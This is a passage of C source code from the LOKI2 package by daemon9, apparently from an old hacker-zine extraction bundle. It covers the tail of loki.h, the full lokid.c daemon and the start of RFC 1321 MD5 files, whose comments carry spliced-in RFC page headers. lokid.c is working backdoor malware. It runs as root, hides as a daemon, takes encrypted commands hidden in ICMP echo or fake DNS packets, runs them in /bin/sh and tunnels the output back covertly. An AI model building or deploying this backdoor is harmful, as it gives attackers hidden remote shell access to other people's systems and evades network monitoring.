  1673. #define C_MSG_PKREC     "loki: received public key, computing shared secret\n"
  1674. #define C_MSG_SKSET     "loki: extracting and setting expanded blowfish key\n"
  1675. #define C_MSG_MUSTQUIT  "\nloki: received termination directive from server\n"
  1676.  
  1677. /*
  1678.  *  Macros to evaluate packets to determine if they are LOKI or not.
  1679.  *  These are UGLY.
  1680.  */
  1681.  
  1682.  
  1683. /*  
  1684.  *  ICMP_ECHO client packet check 
  1685.  */
  1686.  
  1687. #define IS_GOOD_ITYPE_C(ldg)\
  1688. \
  1689. (i_check((u_short *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) ==          0 &&\
  1690.                                 ldg.ttype.icmph.icmp_type   ==   D_P_TYPE &&\
  1691.                                   ldg.ttype.icmph.icmp_id   ==    loki_id &&\
  1692.                                  ldg.ttype.icmph.icmp_seq   ==      L_TAG &&\
  1693.                                           (ldg.payload[0]   ==    L_REPLY ||\
  1694.                                            ldg.payload[0]   == L_PK_REPLY ||\
  1695.                                            ldg.payload[0]   ==      L_EOT ||\
  1696.                                            ldg.payload[0]   ==     L_QUIT ||\
  1697.                                            ldg.payload[0]   ==    L_ERR)) ==\
  1698.                                                              (1) ? (1) : (0)\
  1699. /*  
  1700.  *  ICMP_ECHO daemon packet check 
  1701.  */
  1702.  
  1703. #define IS_GOOD_ITYPE_D(ldg)\
  1704. \
  1705. (i_check((u_short *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) ==          0 &&\
  1706.                                 ldg.ttype.icmph.icmp_type   ==   C_P_TYPE &&\
  1707.                                  ldg.ttype.icmph.icmp_seq   ==      L_TAG &&\
  1708.                                           (ldg.payload[0]   ==      L_REQ ||\
  1709.                                            ldg.payload[0]   ==     L_QUIT ||\
  1710.                                            ldg.payload[0]   == L_PK_REQ)) ==\
  1711.                                                              (1) ? (1) : (0)\
  1712. /*  
  1713.  *  UDP client packet check 
  1714.  */
  1715.  
  1716. #define IS_GOOD_UTYPE_C(ldg)\
  1717. \
  1718. (i_check((u_short *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) ==              0 &&\
  1719.                                 ldg.ttype.udph.uh_sport   ==        NL_PORT &&\
  1720.                                 ldg.ttype.udph.uh_dport   == loki_id &&\
  1721.                                         (ldg.payload[0]   ==        L_REPLY ||\
  1722.                                          ldg.payload[0]   ==          L_EOT ||\
  1723.                                          ldg.payload[0]   ==         L_QUIT ||\
  1724.                                          ldg.payload[0]   ==        L_ERR)) ==\
  1725.                                                                (1) ? (1) : (0)\
  1726. /*  
  1727.  *  UDP daemon packet check.  Yikes.  We need more info here. 
  1728.  */
  1729.  
  1730. #define IS_GOOD_UTYPE_D(ldg)\
  1731. \
  1732. (i_check((u_short *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) ==              0 &&\
  1733.                                 ldg.ttype.udph.uh_dport   ==        NL_PORT &&\
  1734.                                          (ldg.payload[0]  ==         L_QUIT ||\
  1735.                                           ldg.payload[0]  ==        L_REQ)) ==\
  1736.                                                                (1) ? (1) : (0)\
  1737. /*
  1738.  *  ICMP_ECHO / ICMP_ECHOREPLY header prototype
  1739.  */
  1740.  
  1741. struct icmp_echo
  1742. {
  1743.     u_char  icmp_type;          /* 1 byte type              */
  1744.     u_char  icmp_code;          /* 1 byte code              */
  1745.     u_short icmp_cksum;         /* 2 byte checksum          */
  1746.     u_short icmp_id;            /* 2 byte identification    */
  1747.     u_short icmp_seq;           /* 2 byte sequence number   */
  1748. };
  1749.  
  1750.  
  1751. /*
  1752.  *  UDP header prototype
  1753.  */
  1754.  
  1755. struct udp
  1756. {
  1757.     u_short uh_sport;           /* 2 byte source port       */
  1758.     u_short uh_dport;           /* 2 byte destination port  */
  1759.     u_short uh_ulen;            /* 2 byte length            */
  1760.     u_short uh_sum;             /* 2 byte checksum          */
  1761. };
  1762.         
  1763.  
  1764. /*
  1765.  *  LOKI packet prototype
  1766.  */
  1767.  
  1768. struct loki
  1769. {
  1770.     struct ip iph;              /* IP header    */
  1771.     union
  1772.     {
  1773.         struct icmp_echo icmph; /* ICMP header  */
  1774.         struct udp udph;        /* UDP header   */
  1775.     }ttype;
  1776.     u_char payload[BUFSIZE];    /* data payload */
  1777. };
  1778.  
  1779. #define LOKIP_SIZE      sizeof(struct loki)
  1780. #define LP_DST          rdg.iph.ip_src
  1781.  
  1782. void blur(int, int, u_char *);          /* Symmetric encryption function    */
  1783. char *host_lookup(u_long);              /* network byte -> human readable   */
  1784. u_long name_resolve(char *);            /* human readable -> network byte   */
  1785. u_short i_check(u_short *, int);        /* Ah yes, the IP family checksum   */
  1786. int c_parse(u_char *, int *);           /* parse escaped commands [client]  */
  1787. void d_parse(u_char *, pid_t, int);     /* parse escaped commands [server]  */
  1788.                                         /* build and transmit LOKI packets  */
  1789. void loki_xmit(u_char *, u_short, int, struct sockaddr_in, int);
  1790. int lokid_xmit(u_char *, u_long, int, int);
  1791. void err_exit(int, int, int, char *);   /* handle exit with reason          */
  1792. void clean_exit(int);                   /* exit cleanly                     */
  1793. void help();                            /* lala                             */
  1794. void shadow();                          /* daemonizing routine              */
  1795. void swap_t(int);                       /* swap protocols [server-side]     */
  1796. void reaper(int);                       /* prevent zombies                  */
  1797. void catch_timeout(int);                /* ALARM signal catcher             */
  1798. void client_expiry_check();             /* expire client from shm           */
  1799. void prep_shm();                        /* Prepare shm ans semaphore        */
  1800. void dump_shm();                        /* detach shm                       */
  1801. void packets_read();                    /* packets read (client)            */
  1802. void fd_status(int, int);               /* dumps fd stats                   */
  1803. #ifdef PTY
  1804. int ptym_open(char *);
  1805. int ptys_open(int, char *);
  1806. pid_t pty_fork(int *, char *, struct termios *, struct winsize *);
  1807. #endif
  1808. #ifdef STRONG_CRYPTO
  1809. DH* generate_dh_keypair();              /* generate DH params and keypair   */
  1810. u_char *extract_bf_key(u_char *, int);  /* extract and md5 and set bf key   */
  1811. #endif
  1812.  
  1813. #endif  /* __LOKI_H__ */
  1814. <--> loki.h
  1815. <++> L2/lokid.c
  1816. /*
  1817.  * LOKI2
  1818.  *
  1819.  * [ lokid.c ]
  1820.  *
  1821.  *  1996/7 Guild Corporation Worldwide      [daemon9] 
  1822.  */
  1823.  
  1824.  
  1825. #include "loki.h"
  1826. #include "client_db.h"
  1827. #include "shm.h"
  1828.  
  1829. jmp_buf env;                            /* holds our stack frame    */
  1830. struct loki sdg, rdg;                   /* LOKI packets             */
  1831. time_t uptime   = 0;                    /* server uptime            */
  1832. u_long b_sent   = 0, p_sent = 0;        /* bytes / packets written  */ 
  1833. u_short c_id    = 0;                    /* client id                */
  1834. int destroy_shm = NOK;                  /* Used to mark whether or not
  1835.                                          * a process should destroy the
  1836.                                          * shm segment upon exiting.
  1837.                                          */
  1838. int verbose     = OK, prot = IPPROTO_ICMP, ripsock = 0, tsock = 0; 
  1839.  
  1840. #ifdef  STRONG_CRYPTO
  1841. extern u_char user_key[BF_KEYSIZE];
  1842. extern BF_KEY bf_key;
  1843. extern u_short ivec_salt;               
  1844. DH *dh_keypair = NULL;                  /* DH public and private key */
  1845. #endif
  1846.  
  1847. #ifdef PTY
  1848. int mfd = 0;                            /* master PTY file descriptor */
  1849. #endif
  1850.  
  1851. int main(int argc, char *argv[])
  1852. {
  1853.  
  1854.     static int one       = 1, c = 0, cflags = 0;
  1855.     u_char buf1[BUFSIZE] = {0};
  1856.     pid_t pid            = 0;
  1857. #ifdef  STRONG_CRYPTO
  1858.     static int c_ind     = -1;
  1859. #endif
  1860. #ifdef  POPEN
  1861.     FILE *job            = NULL;
  1862.     char buf2[BUFSIZE]   = {0};
  1863. #endif
  1864.                                         /* ensure we have proper permissions */
  1865.     if (geteuid() || getuid()) err_exit(0, 1, 1, L_MSG_NOPRIV);
  1866.     while ((c = getopt(argc, argv, "v:p:")) != EOF)
  1867.     {
  1868.         switch (c)
  1869.         {
  1870.             case 'v':                   /* change verbosity */
  1871.                 verbose = atoi(optarg);
  1872.                 break;
  1873.  
  1874.             case 'p':                   /* choose transport protocol */
  1875.                 switch (optarg[0])
  1876.                 {
  1877.                     case 'i':           /* ICMP_ECHO / ICMP_ECHOREPLY */
  1878.                         prot = IPPROTO_ICMP;
  1879.                         break;
  1880.  
  1881.                     case 'u':           /* DNS query / reply */
  1882.                         prot = IPPROTO_UDP;
  1883.                         break;
  1884.  
  1885.                     default:
  1886.                         err_exit(1, 0, 1, "Unknown transport\n");
  1887.                 }
  1888.                 break;
  1889.  
  1890.             default:
  1891.                 err_exit(0, 0, 1, S_MSG_USAGE);
  1892.         }
  1893.     }                               
  1894.     if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
  1895.         err_exit(1, 1, 1, L_MSG_SOCKET);
  1896. #ifdef  STRONG_CRYPTO                   /* ICMP only with strong crypto */
  1897.     if (prot != IPPROTO_ICMP) err_exit(0, 0, 1, L_MSG_ICMPONLY);
  1898. #else
  1899.                                         /* Child will signal parent if a 
  1900.                                          * transport protcol switch is 
  1901.                                          * required 
  1902.                                          */
  1903.     if (signal(SIGUSR1, swap_t) == SIG_ERR) 
  1904.         err_exit(1, 1, verbose, L_MSG_SIGUSR1);
  1905. #endif
  1906.  
  1907.     if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  1908.          err_exit(1, 1, 1, L_MSG_SOCKET);
  1909. #ifdef  DEBUG
  1910.     fprintf(stderr, "\nRaw IP socket: ");
  1911.     fd_status(ripsock, OK);
  1912. #endif
  1913.  
  1914. #ifdef  IP_HDRINCL
  1915.     if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
  1916.         if (verbose) perror("Cannot set IP_HDRINCL socket option");
  1917. #endif
  1918.                                         /* power up shared memory segment and
  1919.                                          * semaphore, register dump_shm to be 
  1920.                                          * called upon exit
  1921.                                          */
  1922.     prep_shm();
  1923.     if (atexit(dump_shm) == -1) err_exit(1, 1, verbose, L_MSG_ATEXIT);
  1924.  
  1925.     fprintf(stderr, L_MSG_BANNER);
  1926.     time(&uptime);                      /* server uptime timer */
  1927.  
  1928. #ifdef  STRONG_CRYPTO
  1929.                                         /* Generate DH parameters */
  1930.     if (verbose) fprintf(stderr, "\nlokid: %s", L_MSG_DHKEYGEN); 
  1931.     if (!(dh_keypair = generate_dh_keypair())) 
  1932.         err_exit(1, 0, verbose, L_MSG_DHKGFAIL);
  1933.     if (verbose) fprintf(stderr, "\nlokid: done.\n"); 
  1934. #endif 
  1935. #ifndef DEBUG
  1936.     shadow();                       /* go daemon */
  1937. #endif
  1938.     destroy_shm = OK;               /* if this process exits at any point
  1939.                                      * from hereafter, mark shm as destroyed
  1940.                                      */
  1941.                                     /* Every KEY_TIMER seconds, we should
  1942.                                      * check the client_key list and see
  1943.                                      * if any entries have been idle long
  1944.                                      * enough to expire them.
  1945.                                      */
  1946.     if (signal(SIGALRM, client_expiry_check) == SIG_ERR)
  1947.         err_exit(1, 1, verbose, L_MSG_SIGALRM);
  1948.     alarm(KEY_TIMER);
  1949.  
  1950.     if (signal(SIGCHLD, reaper) == SIG_ERR)
  1951.         err_exit(1, 1, verbose, L_MSG_SIGCHLD);
  1952.  
  1953.     for (; ;)
  1954.     {
  1955.         cflags &= ~VALIDP;              /* Blocking read */
  1956.         c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE);
  1957.  
  1958.         switch (prot)
  1959.         {                               /* Is this a valid Loki packet? */
  1960.             case IPPROTO_ICMP:
  1961.                 if ((IS_GOOD_ITYPE_D(rdg)))
  1962.                 { 
  1963.                     cflags |= VALIDP;
  1964.                     c_id   = rdg.ttype.icmph.icmp_id;
  1965.                 }
  1966.                 break;
  1967.  
  1968.             case IPPROTO_UDP:
  1969.                 if ((IS_GOOD_UTYPE_D(rdg)))
  1970.                 { 
  1971.                     cflags |= VALIDP;
  1972.                     c_id   = rdg.ttype.udph.uh_sport;
  1973.                 }
  1974.                 break;
  1975.  
  1976.             default:
  1977.                 err_exit(1, 0, verbose, L_MSG_WIERDERR);
  1978.         }
  1979.         if (cflags & VALIDP)
  1980.         {
  1981. #ifdef  DEBUG
  1982.         fprintf(stderr, "\n[DEBUG]\t\tlokid: packet read %d bytes, type: ", c);
  1983.         PACKET_TYPE(rdg);
  1984.         DUMP_PACKET(rdg, c);
  1985. #endif
  1986.         switch (pid = fork())
  1987.             {                           
  1988.             case 0:                 
  1989.                     destroy_shm = NOK;  /* child should NOT mark segment as
  1990.                                          * destroyed when exiting...
  1991.                                          */
  1992.                                         /* TLI seems to have  problems in 
  1993.                                          * passing socket file desciptors around
  1994.                                          */
  1995. #ifdef  SOLARIS                         
  1996.                     close(ripsock);
  1997.                     if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  1998.                     err_exit(1, 1, 1, L_MSG_SOCKET);
  1999. #ifdef  DEBUG
  2000.                     fprintf(stderr, "\nRaw IP socket: ");
  2001.                     fd_status(ripsock, OK);
  2002. #endif  /* DEBUG */
  2003. #endif  /* SOLARIS */
  2004.                 break;
  2005.  
  2006.                 default:                /* parent will loop forever spawning 
  2007.                                          * children if we do not zero rdg
  2008.                                          */
  2009.                     bzero((struct loki *)&rdg, LOKIP_SIZE);
  2010.                     cflags &= ~VALIDP;
  2011.             continue;
  2012.  
  2013.             case -1:            /* fork error */
  2014.             err_exit(1, 1, verbose, "[fatal] forking error");
  2015.             }
  2016. #ifdef  STRONG_CRYPTO
  2017.                                         /* preliminary evaluation of the pkt
  2018.                                          * to see if we have a request for the
  2019.                                          * servers public key
  2020.                                          */
  2021.             if (rdg.payload[0] == L_PK_REQ)
  2022.             {
  2023.                 if (verbose)
  2024.                 {
  2025.                     fprintf(stderr, "\nlokid: public key submission and request : %s <%d> ", host_lookup(rdg.iph.ip_dst), c_id);
  2026.                     fprintf(stderr, "\nlokid: computing shared secret");
  2027.                 }
  2028.                 DH_compute_key(buf1, (void *)BN_bin2bn(&rdg.payload[1], BN2BIN_SIZE, NULL), dh_keypair);
  2029.                 if (verbose) fprintf(stderr, "\nlokid: extracting 128-bit blowfish key");
  2030.                                         /* Try to add client to client list */
  2031.                 if (((c = add_client(extract_bf_key(buf1, NOK))) == -1))
  2032.                 {
  2033. #else
  2034.                 if (((c = add_client((u_char *)NULL)) == -1))
  2035.                 {
  2036. #endif                                  /* MAX_CLIENT limit reached */
  2037.                     lokid_xmit(S_MSG_PACKED, LP_DST, L_ERR, NOCR);
  2038.                     lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
  2039.                     err_exit(1, 0, verbose, "\nlokid: Cannot add key\n");
  2040.                 }
  2041.  
  2042. #ifdef  STRONG_CRYPTO
  2043.                 if (verbose)
  2044.                 { 
  2045.                     fprintf(stderr, "\nlokid: client <%d> added to list [%d]", c_id, c);
  2046.                     fprintf(stderr, "\nlokid: submiting my public key to client");
  2047.                 }                       /* send our public key to the client */
  2048.                 bzero((u_char *)buf1, BUFSIZE);
  2049.                 BN_bn2bin((BIGNUM *)dh_keypair -> pub_key, buf1);   
  2050.  
  2051.                 lokid_xmit(buf1, LP_DST, L_PK_REPLY, NOCR);
  2052.                 lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
  2053.                 clean_exit(0);
  2054.             }
  2055.             bzero((u_char *)buf1, BUFSIZE);
  2056.                                         /* Control falls here when we have
  2057.                                          * a regular request packet.
  2058.                                          */
  2059.             if ((c_ind = locate_client(FIND)) == -1)
  2060.             {                           /* Cannot locate the client's entry */
  2061.                 lokid_xmit(S_MSG_UNKNOWN, LP_DST, L_ERR, NOCR);
  2062.                 lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
  2063.                 err_exit(1, 0, verbose, S_MSG_UNKNOWN);
  2064.             }                           /* set expanded blowfish key */
  2065.             else BF_set_key(&bf_key, BF_KEYSIZE, user_key);
  2066. #endif
  2067.                                         /* unload payload */
  2068.            bcopy(&rdg.payload[1], buf1, BUFSIZE - 1);
  2069. #ifdef  STRONG_CRYPTO
  2070.                                         /* The IV salt is incremented in the
  2071.                                          * client prior to encryption, ergo
  2072.                                          * the server should increment before 
  2073.                                          * decrypting
  2074.                                          */
  2075.             ivec_salt = update_client_salt(c_ind);
  2076. #endif
  2077.             blur(DECR, BUFSIZE - 1, buf1);
  2078.                                         /* parse escaped command */
  2079.             if (buf1[0] == '/') d_parse(buf1, pid, ripsock);
  2080. #ifdef  POPEN                           /* popen the shell command and execute
  2081.                                          * it inside of /bin/sh
  2082.                                          */ 
  2083.             if (!(job = popen(buf1, "r")))
  2084.                 err_exit(1, 1, verbose, "\nlokid: popen");
  2085.  
  2086.             while (fgets(buf2, BUFSIZE - 1, job))
  2087.             {
  2088.                 bcopy(buf2, buf1, BUFSIZE);
  2089.                 lokid_xmit(buf1, LP_DST, L_REPLY, OKCR);
  2090.             }
  2091.             lokid_xmit(buf1, LP_DST, L_EOT, OKCR);
  2092. #ifdef  STRONG_CRYPTO
  2093.             update_client(c_ind, p_sent, b_sent);
  2094. #else
  2095.             update_client(locate_client(FIND), p_sent, b_sent);
  2096. #endif
  2097.             clean_exit(0);              /* exit the child after sending
  2098.                                          * the last packet 
  2099.                                          */
  2100. #endif
  2101. #ifdef  PTY                             /* Not implemented yet */
  2102.             fprintf(stderr, "\nmfd: %d", mfd);
  2103. #endif
  2104.         }
  2105.     }
  2106. }
  2107.  
  2108.  
  2109. /*
  2110.  *  Build and transmit Loki packets (server-side version)
  2111.  */
  2112.  
  2113. int lokid_xmit(u_char *payload, u_long dst, int ptype, int crypt_flag)
  2114. {
  2115.     struct sockaddr_in sin;
  2116.     int i               = 0; 
  2117.  
  2118.     bzero((struct loki *)&sdg, LOKIP_SIZE);
  2119.  
  2120.     sin.sin_family      = AF_INET;
  2121.     sin.sin_addr.s_addr = dst;
  2122.     sdg.payload[0]      = ptype;        /* set packet type */
  2123.                                         /* Do not encrypt error or public
  2124.                                          * key reply packets
  2125.                                          */       
  2126.     if (crypt_flag == OKCR) blur(ENCR, BUFSIZE - 1, payload);    
  2127.     bcopy(payload, &sdg.payload[1], BUFSIZE - 1);
  2128.  
  2129.     if (prot == IPPROTO_ICMP)
  2130.     {
  2131. #ifdef  NET3                                            /* Our workaround. */
  2132.         sdg.ttype.icmph.icmp_type   = ICMP_ECHO;
  2133. #else
  2134.         sdg.ttype.icmph.icmp_type   = ICMP_ECHOREPLY;
  2135. #endif
  2136.         sdg.ttype.icmph.icmp_code   = (int)NULL;
  2137.         sdg.ttype.icmph.icmp_id     = c_id;             /* client ID */
  2138.         sdg.ttype.icmph.icmp_seq    = L_TAG;            /* Loki ID */
  2139.         sdg.ttype.icmph.icmp_cksum  =
  2140.              i_check((u_short *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE);
  2141.     }
  2142.     if (prot == IPPROTO_UDP)
  2143.     {
  2144.         sdg.ttype.udph.uh_sport     = NL_PORT;
  2145.         sdg.ttype.udph.uh_dport     = rdg.ttype.udph.uh_sport;
  2146.         sdg.ttype.udph.uh_ulen      = htons(UDPH_SIZE + BUFSIZE);
  2147.         sdg.ttype.udph.uh_sum       =
  2148.              i_check((u_short *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE);
  2149.     }
  2150.     sdg.iph.ip_v    = 0x4;
  2151.     sdg.iph.ip_hl   = 0x5;
  2152.     sdg.iph.ip_len  = FIX_LEN(LOKIP_SIZE);
  2153.     sdg.iph.ip_ttl  = 0x40;
  2154.     sdg.iph.ip_p    = prot;
  2155.     sdg.iph.ip_dst  = sin.sin_addr.s_addr;
  2156.  
  2157. #ifdef  SEND_PAUSE
  2158.     usleep(SEND_PAUSE);
  2159. #endif
  2160.     if ((i = sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, (int)NULL, (struct sockaddr *)&sin, sizeof(sin))) < LOKIP_SIZE)
  2161.     {
  2162.         if (verbose) perror("[non fatal] truncated write");
  2163.     }
  2164.     else
  2165.     {                               /* Update global stats */
  2166.         b_sent += i; 
  2167.         p_sent ++;
  2168.     }
  2169.     return ((i < 0 ? 0 : i));     /* Make snocrash happy (return bytes written,
  2170.                                    * or return 0 if there was an error) 
  2171.                                    */
  2172. }
  2173.  
  2174.  
  2175. /*
  2176.  *  Parse escaped commands (server-side version)
  2177.  */
  2178.  
  2179. void d_parse(u_char *buf, pid_t pid, int ripsock)
  2180. {
  2181.     u_char buf2[4 * BUFSIZE]    = {0};
  2182.     int n                       = 0, m = 0;
  2183.     u_long client_ip            = 0;
  2184.                                         /* client request for an all kill */
  2185.     if (!strncmp(buf, QUIT_ALL, sizeof(QUIT_ALL) - 1))
  2186.     {
  2187.         if (verbose) fprintf(stderr, "\nlokid: client <%d> requested an all kill\n", c_id);
  2188.         while (n < MAX_CLIENT)          /* send notification to all clients */
  2189.         {
  2190.             if ((client_ip = check_client_ip(n++, &c_id)))
  2191.             {
  2192.                 if (verbose) fprintf(stderr, "\tsending L_QUIT: <%d> %s\n", c_id, host_lookup(client_ip));
  2193.                 lokid_xmit(buf, client_ip, L_QUIT, NOCR);
  2194.             }
  2195.         }
  2196.         if (verbose) fprintf(stderr, S_MSG_CLIENTK);
  2197.                                         /* send a SIGKILL to all the processes
  2198.                                          * in the servers group...
  2199.                                          */
  2200.         if ((kill(-pid, SIGKILL)) == -1)
  2201.             err_exit(1, 1, verbose, "[fatal] could not signal process group");
  2202.         clean_exit(0);
  2203.     }
  2204.                                         /* client is exited, remove entry
  2205.                                          * from the client list
  2206.                                          */
  2207.     if (!strncmp(buf, QUIT_C, sizeof(QUIT_C) - 1))
  2208.     {
  2209.         if ((m = locate_client(DESTROY)) == -1) 
  2210.             err_exit(1, 0, verbose, S_MSG_UNKNOWN);
  2211.         else if (verbose) fprintf(stderr, "\nlokid: client <%d> freed from list [%d]", c_id, m);
  2212.         clean_exit(0);
  2213.     }
  2214.                                         /* stat request */
  2215.     if (!strncmp(buf, STAT_C, sizeof(STAT_C) - 1))
  2216.     {
  2217.         bzero((u_char *)buf2, 4 * BUFSIZE);
  2218.                                         /* Ok.  This is an ugly hack to keep
  2219.                                          * packet counts in sync with the
  2220.                                          * stat request.  We know the amount
  2221.                                          * of packets we are going to send (and
  2222.                                          * therefore the byte count) in advance
  2223.                                          * so we can preload the values.
  2224.                                          */
  2225.         update_client(locate_client(FIND), 5, 5 * LOKIP_SIZE);
  2226.         n = stat_client(locate_client(FIND), buf2, prot, uptime);
  2227.                                         /* breakdown payload into BUFSIZE-1 
  2228.                                          * chunks, suitable for transmission
  2229.                                          */
  2230.         for (; m < n; m += (BUFSIZE - 1))
  2231.         {
  2232.             bcopy(&buf2[m], buf, BUFSIZE - 1);
  2233.             lokid_xmit(buf, LP_DST, L_REPLY, OKCR);
  2234.         }
  2235.         lokid_xmit(buf, LP_DST, L_EOT, OKCR);
  2236.         clean_exit(0);                  /* exit the child after sending
  2237.                                          * the last packet 
  2238.                                          */
  2239.     }
  2240. #ifndef     STRONG_CRYPTO               /* signal parent to change protocols */
  2241.     if (!strncmp(buf, SWAP_T, sizeof(SWAP_T) - 1))
  2242.     {
  2243.         if (kill(getppid(), SIGUSR1))
  2244.             err_exit(1, 1, verbose, "[fatal] could not signal parent");
  2245.         clean_exit(0);
  2246.     }
  2247. #endif
  2248.                                         /* unsupport/unrecognized command */
  2249.     lokid_xmit(S_MSG_UNSUP, LP_DST, L_REPLY, OKCR);
  2250.     lokid_xmit(buf2, LP_DST, L_EOT, OKCR);
  2251.  
  2252.     update_client(locate_client(FIND), p_sent, b_sent);
  2253.     clean_exit(0);
  2254. }
  2255.  
  2256.  
  2257. /* 
  2258.  *  Swap transport protocols.  This is called as a result of SIGUSR1 from
  2259.  *  a child server process.
  2260.  */
  2261.  
  2262.  
  2263. void swap_t(int signo)
  2264. {
  2265.  
  2266.     int n                   = 0;
  2267.     u_long client_ip        = 0;
  2268.     struct protoent *pprot  = 0;
  2269.     char buf[BUFSIZE]       = {0};
  2270.   
  2271.     if (verbose) fprintf(stderr, "\nlokid: client <%d> requested a protocol swap\n", c_id);
  2272.  
  2273.     while (n < MAX_CLIENT)
  2274.     {
  2275.         if ((client_ip = check_client_ip(n++, &c_id)))
  2276.         {
  2277.             fprintf(stderr, "\tsending protocol update: <%d> %s [%d]\n", c_id, host_lookup(client_ip), n);
  2278.             lokid_xmit(buf, client_ip, L_REPLY, OKCR);
  2279.             lokid_xmit(buf, client_ip, L_EOT, OKCR);
  2280. /*            update_client(locate_client(FIND), p_sent, b_sent);*/
  2281.         }
  2282.     }
  2283.  
  2284.     close(tsock);
  2285.  
  2286.     prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP;
  2287.     if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
  2288.         err_exit(1, 1, verbose, L_MSG_SOCKET);
  2289.     pprot = getprotobynumber(prot);  
  2290.     sprintf(buf, "lokid: transport protocol changed to %s\n", pprot -> p_name);
  2291.     fprintf(stderr, "\n%s", buf);
  2292.  
  2293.     lokid_xmit(buf, LP_DST, L_REPLY, OKCR);
  2294.     lokid_xmit(buf, LP_DST, L_EOT, OKCR);
  2295.     update_client(locate_client(FIND), p_sent, b_sent);
  2296.                                             /* re-establish signal handler */
  2297.     if (signal(SIGUSR1, swap_t) == SIG_ERR)
  2298.         err_exit(1, 1, verbose, L_MSG_SIGUSR1);
  2299. }
  2300.  
  2301. /* EOF */
  2302. <--> lokid.c
  2303. <++> L2/md5/Makefile
  2304. # Makefile for MD5 from rfc1321 code
  2305.  
  2306. CCF = -O -DMD=5
  2307.  
  2308. md5c.o: md5.h global.h
  2309.     gcc $(CCF) -c md5c.c
  2310.  
  2311. clean:
  2312.     rm -f *.o core
  2313. <--> md5/Makefile
  2314. <++> L2/md5/global.h
  2315. /* GLOBAL.H - RSAREF types and constants
  2316.  */
  2317.  
  2318. /* PROTOTYPES should be set to one if and only if the compiler supports
  2319.   function argument prototyping.
  2320. The following makes PROTOTYPES default to 0 if it has not already
  2321.  
  2322.  
  2323.  
  2324. Rivest                                                          [Page 7]
  2325.  
  2326. RFC 1321              MD5 Message-Digest Algorithm            April 1992
  2327.  
  2328.  
  2329.   been defined with C compiler flags.
  2330.  */
  2331. #ifndef PROTOTYPES
  2332. #define PROTOTYPES 0
  2333. #endif
  2334.  
  2335. /* POINTER defines a generic pointer type */
  2336. typedef unsigned char *POINTER;
  2337.  
  2338. /* UINT2 defines a two byte word */
  2339. typedef unsigned short int UINT2;
  2340.  
  2341. /* UINT4 defines a four byte word */
  2342. typedef unsigned long int UINT4;
  2343.  
  2344. /* PROTO_LIST is defined depending on how PROTOTYPES is defined above.
  2345. If using PROTOTYPES, then PROTO_LIST returns the list, otherwise it
  2346.   returns an empty list.
  2347.  */
  2348. #if PROTOTYPES
  2349. #define PROTO_LIST(list) list
  2350. #else
  2351. #define PROTO_LIST(list) ()
  2352. #endif
  2353. <--> md5/global.h
  2354. <++> L2/md5/md5.h
  2355. /* MD5.H - header file for MD5C.C
  2356.  */
  2357.  
  2358. /* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
  2359. rights reserved.
  2360.  
  2361. License to copy and use this software is granted provided that it
  2362. is identified as the "RSA Data Security, Inc. MD5 Message-Digest
  2363. Algorithm" in all material mentioning or referencing this software
  2364. or this function.
  2365.  
  2366. License is also granted to make and use derivative works provided
  2367. that such works are identified as "derived from the RSA Data
  2368. Security, Inc. MD5 Message-Digest Algorithm" in all material
  2369. mentioning or referencing the derived work.
  2370.  
  2371. RSA Data Security, Inc. makes no representations concerning either
  2372. the merchantability of this software or the suitability of this
  2373. software for any particular purpose. It is provided "as is"
  2374. without express or implied warranty of any kind.
  2375.  
  2376.  
  2377.  
  2378.  
  2379. Rivest                                                          [Page 8]
  2380.  
  2381. RFC 1321              MD5 Message-Digest Algorithm            April 1992
  2382.  
  2383.  
  2384. These notices must be retained in any copies of any part of this
  2385. documentation and/or software.
  2386.  */
  2387.  
  2388. #define MD5_HASHSIZE    16
  2389.  
  2390. /* MD5 context. */
  2391. typedef struct {
  2392.   UINT4 state[4];                                   /* state (ABCD) */
  2393.   UINT4 count[2];        /* number of bits, modulo 2^64 (lsb first) */
  2394.   unsigned char buffer[64];                         /* input buffer */
  2395. } MD5_CTX;
  2396.  
  2397. void MD5Init PROTO_LIST ((MD5_CTX *));
  2398. void MD5Update PROTO_LIST
  2399.   ((MD5_CTX *, unsigned char *, unsigned int));
  2400. void MD5Final PROTO_LIST ((unsigned char [16], MD5_CTX *));
  2401. <--> md5/md5.h
  2402. <++> L2/md5/md5c.c
  2403. /* MD5C.C - RSA Data Security, Inc., MD5 message-digest algorithm
  2404.  */
  2405.  
  2406. /* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
  2407. rights reserved.
  2408.  
  2409. License to copy and use this software is granted provided that it
  2410. is identified as the "RSA Data Security, Inc. MD5 Message-Digest
  2411. Algorithm" in all material mentioning or referencing this software
  2412. or this function.
  2413.  
  2414. License is also granted to make and use derivative works provided
  2415. that such works are identified as "derived from the RSA Data
  2416. Security, Inc. MD5 Message-Digest Algorithm" in all material
  2417. mentioning or referencing the derived work.
  2418.  
  2419. RSA Data Security, Inc. makes no representations concerning either
  2420. the merchantability of this software or the suitability of this
  2421. software for any particular purpose. It is provided "as is"
  2422. without express or implied warranty of any kind.
  2423.  
  2424. These notices must be retained in any copies of any part of this
  2425. documentation and/or software.
  2426.  */
  2427.  
  2428. #include "global.h"
  2429. #include "md5.h"
  2430.  
  2431. /* Constants for MD5Transform routine.
  2432.  */
  2433.  
  2434.  
  2435. /*
  2436. Rivest                                                          [Page 9]
  2437.  
  2438. RFC 1321              MD5 Message-Digest Algorithm            April 1992
  2439. */
  2440.  
  2441. #define S11 7
  2442. #define S12 12
  2443. #define S13 17
  2444. #define S14 22
